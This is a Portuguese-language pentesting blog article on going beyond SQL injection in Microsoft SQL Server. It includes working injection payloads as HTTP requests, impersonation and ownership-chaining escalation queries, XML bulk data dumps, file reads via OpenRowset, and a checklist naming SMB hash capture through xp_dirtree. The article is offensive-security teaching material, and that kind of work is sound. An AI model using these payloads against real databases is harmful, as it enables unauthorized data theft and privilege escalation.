Skip to main content
Bruno Menozzi aka Zeroc00i
Back to homepage

Alem do dumping

Aprofunde-se no MSSQL: indo além da SQL Injection e explorando vulnerabilidade

Você encontra um SQL Injection em um ambiente MSSQL.

O usuário da aplicação tem privilégios básicos, xp_cmdshell retorna erro, e a tentação é concluir: “é só um caso de dumping de dados”.

É aqui que a maioria dos pentesters para - e é exatamente aqui que o verdadeiro trabalho começa.

O que poucos sabem é que o MSSQL esconde funcionalidades que permitem transformar um acesso aparentemente limitado em uma brecha crítica.

Enquanto você considera encerrar o teste, o banco de dados pode estar revelando conexões ativas para outros servidores, links de database configurados incorretamente e cadeias de propriedade que funcionam como escadas privilegiadas entre bancos de dados.

Neste artigo, vamos explorar como técnicas avançadas de impersonation, ownership chaining e abuso de SQL Links podem elevar um simples usuário de banco ao nível de sysadmin.

Descubra como identificar essas configurações perigosas e transformar um “acesso básico” em movimento lateral persistente dentro da rede corporativa.

Técnicas de Exploração

Time-Based Blind SQLi

GET /Make/2?orderby=supercarid+WAITFOR+DELAY+'00:00:04'-- HTTP/2
Host: hack-yourself-first.com

Boolean-Based Blind SQLi

GET /Make/2?orderby=(select+CASE+WHEN+(1=2)+THEN+'supercarid'+ELSE+(SELECT+1+Union+select+2)+END)-- HTTP/2
Host: hack-yourself-first.com

Error-Based SQLi

GET /Make/2?orderby=(CONVERT(INT%2c@@version))-- HTTP/2
Host: hack-yourself-first.com

Stacked Queries

GET /Make/2?orderby=supercarid;WAITFOR+DELAY+'00:00:04'-- HTTP/2
Host: hack-yourself-first.com

Conceitos Fundamentais

Estrutura de Hash de Senhas no MSSQL

O MSSQL constrói o password_hash combinando três componentes principais:

  • 0x0200: Prefixo fixo que indica a versão do algoritmo (SHA2_512 desde 2012)
  • salt: Valor aleatório de 32 bits que garante unicidade
  • Hash real da combinação senha + salt
DECLARE @pwd NVARCHAR(MAX) = 'plaintext-password';
DECLARE @salt VARBINARY(4) = CRYPT_GEN_RANDOM(4);
DECLARE @hash VARBINARY(MAX);

SET @hash = 0x0200 + @salt + HASHBYTES('SHA2_512', CAST(@pwd AS VARBINARY(MAX)) + @salt);

Modelo de Permissões

Cada usuário de banco pertence à role public por padrão. Quando não há permissões específicas concedidas ou negadas, o usuário herda as permissões da public.

Comportamento de Aspas

Aspas simples (') delimitam strings, enquanto aspas duplas (") delimitam identificadores de objetos. Isso explica porque DB_NAME('1') funciona mas DB_NAME("1") gera erro.

Compatibilidade com Versões Anteriores

A query SELECT * FROM sysdatabases funciona sem o schema sys devido à compatibilidade com versões do SQL Server 2000 e anteriores.

Links entre servidores MSSQL permitem executar queries em bancos remotos, facilitando a movimentação lateral em redes corporativas.

Técnicas de Impersonation

Concedendo Permissões

CREATE LOGIN bruno WITH PASSWORD = 'Test@4567';
CREATE USER bruno FOR LOGIN bruno;
ALTER ROLE public ADD MEMBER bruno;

Listando Usuários que Podem ser Impersonados

SELECT 
    grantee_principal.name AS WhoCanImpersonate,
    grantee_principal.type_desc AS ImpersonatorType,
    sp.name AS WhoCanTheyImpersonate,
    sp.type_desc AS ImpersonateeLoginType 
FROM sys.server_permissions AS prmssn 
INNER JOIN sys.server_principals AS sp 
    ON sp.principal_id = prmssn.major_id AND prmssn.class = 101 
INNER JOIN sys.server_principals AS grantee_principal 
    ON grantee_principal.principal_id = prmssn.grantee_principal_id 
WHERE prmssn.state = 'G'

Resultado:

WhoCanImpersonate ImpersonatorType WhoCanTheyImpersonate ImpersonateeLoginType
bruno SQL_LOGIN sa SQL_LOGIN

O Problema da Impersonation

A impersonation pode criar riscos de segurança significativos quando usuários herdam permissões não intencionais através de role membership ou quando há acúmulo de privilégios (privilege creep) em mudanças de função.

Estrutura de Bancos do Sistema

  • Master: Contém todos os objetos de sistema
  • Model: Template para novos bancos de dados
  • TempDB: Armazena objetos temporários
  • MSDB: Dados do SQL Server Agent
  • ResourceDB: Banco oculto com objetos de sistema

Tipos de Dados e Conversão

SQL Server Data Type Conversions

Fonte: https://www.mssqltips.com/sqlservertip/6874/sql-cast-function-for-data-type-conversions/

Técnicas de Casting e Conversão

-- CAST (ANSI Standard)
SELECT CAST(@@version AS INT)

-- CONVERT (T-SQL Specific)
SELECT CONVERT(INT, @@version)

-- PARSE
SELECT PARSE(@@version AS INT)

Extraindo Dados via Formatação

-- JSON Output
SELECT name FROM master..syslogins FOR JSON AUTO

-- String Aggregation
SELECT STRING_AGG(name, ',') FROM sys.databases

-- XML Output para dump completo
(SELECT * FROM master..sysdatabases) FOR XML PATH('')

DUMP Completo via XML

Técnica poderosa para extrair grandes volumes de dados em uma única query:

-- Extraindo todos os dados de sysdatabases
(SELECT * FROM master..sysdatabases) FOR XML PATH('')

Resultado:

<name>master</name><dbid>1</dbid><sid>AQ==</sid><mode>0</mode><status>65544</status><status2>...

SQL Server Agent

O SQL Agent pode armazenar credenciais codificadas no LSA Secrets quando configurado com autenticação SQL Server, representando um vetor potencial para recuperação de senhas.

Ownership Chaining Entre Bancos

USE TestDatabase
CREATE PROC dbo.test_proc AS
SELECT * FROM master.dbo.sysxlogins
GO
EXEC test_proc

Este exemplo funciona devido ao ownership chaining quando o mesmo principal (como sa) é owner em ambos os bancos.

Checklist MSDAT

  • Usuário atual pode virar sysadmin via trustworthy database?
  • É possível extrair hashes de senhas?
  • xp_cmdshell está habilitado ou pode ser reativado?
  • SQL Agent procedures podem executar comandos?
  • Captura de autenticação SMB via xp_dirtree?
  • Leitura/escrita de arquivos via OLE Automation?
  • Conexões com bancos remotos via openrowset?
  • Listagem de arquivos com xp_dirtree/xp_subdirs?
  • Verificação de existência de arquivos com xp_fileexist?

Queries Úteis para Reconhecimento

Listando Roles e Membros

-- Todas as roles do database
SELECT name AS 'Role Name'
FROM sys.database_principals
WHERE type_desc = 'DATABASE_ROLE';

-- Membros das roles
SELECT 
    USER_NAME(drm.member_principal_id) AS 'Member Name',
    USER_NAME(drm.role_principal_id) AS 'Role Name'
FROM sys.database_role_members drm

Contexto Atual e Owners

SELECT 
    name AS 'Database', 
    SUSER_SNAME() AS 'Current User', 
    SUSER_SNAME(owner_sid) AS 'Owner'
FROM sys.databases

Leitura de Arquivos via Error-Based

SELECT CAST((SELECT x FROM OpenRowset(BULK '/etc/hosts',SINGLE_CLOB) R(x)) AS INT)

Caminho Físico do Database

SELECT TOP 1 physical_name FROM sys.master_files

Conexões Ativas

SELECT 
    session_id,
    client_net_address,
    auth_scheme,
    encrypt_option
FROM sys.dm_exec_connections

Resultado:

session_id client_net_address auth_scheme encrypt_option
51 127.0.0.1 NTLM FALSE
53 181.0.0.0 SQL FALSE

Query Atual em Execução

SELECT text FROM sys.dm_exec_requests 
CROSS APPLY sys.dm_exec_sql_text(sql_handle)

Fluxo de Verificação de Permissões

  1. Autenticação: Validação contra sys.server_principals
  2. Autorização Server-Level: Verificação em sys.server_role_members
  3. Seleção de Database: Checagem em sys.databases
  4. Database User Mapping: Mapeamento via sys.database_principals
  5. Role Membership: Verificação de database roles
  6. Object-Level Permissions: Checagem em sys.database_permissions
  7. Ownership Chaining: Bypass de permissões quando owners coincidem
  8. Effective Permissions: Cálculo final via fn_my_permissions
  9. Execução da Query: Processamento final ou erro de permissão

Técnicas Avançadas de Dump

Usuários e Permissões Detalhadas

SELECT
    u.name AS [Name],
    'Server[@Name=' + quotename(CAST(
        serverproperty(N'Servername')
       AS sysname),'''') + ']' + '/Database[@Name=' + 
       quotename(db_name(),'''') + ']' + '/User[@Name=' + 
       quotename(u.name,'''') + ']' AS [Urn],
    u.create_date AS [CreateDate],
    u.principal_id AS [ID],
    CAST(CASE dp.state WHEN N'G' THEN 1 WHEN 'W' THEN 1 ELSE 0 END AS bit) AS [HasDBAccess]
FROM sys.database_principals AS u 
LEFT OUTER JOIN sys.database_permissions AS dp 
    ON dp.grantee_principal_id = u.principal_id and dp.type = 'CO'
WHERE (u.type in ('U', 'S', 'G', 'C', 'K' ,'E', 'X')) 
ORDER BY [Name] ASC

Laboratório Local

docker run -e "ACCEPT_EULA=Y" -e 'MSSQL_SA_PASSWORD=yourStrong(!)Password' -p 1433:1433 -d mcr.microsoft.com/mssql/server:2019-latest

Conclusão

O MSSQL oferece um conjunto rico de funcionalidades que, quando mal compreendidas ou configuradas, podem transformar um simples ponto de SQL Injection em uma brecha crítica para comprometimento completo do ambiente. Desde técnicas de casting e conversão de dados até ownership chaining entre bancos e impersonation, o conhecimento dessas técnicas é essencial tanto para pentesters quanto para administradores de banco de dados que buscam proteger seus ambientes.

A capacidade de fazer dump completo de dados via XML, explorar cadeias de propriedade e abusar de funcionalidades como SQL Server Links demonstra que a superfície de ataque do MSSQL vai muito além das técnicas básicas de SQL Injection.

Recursos Recomendados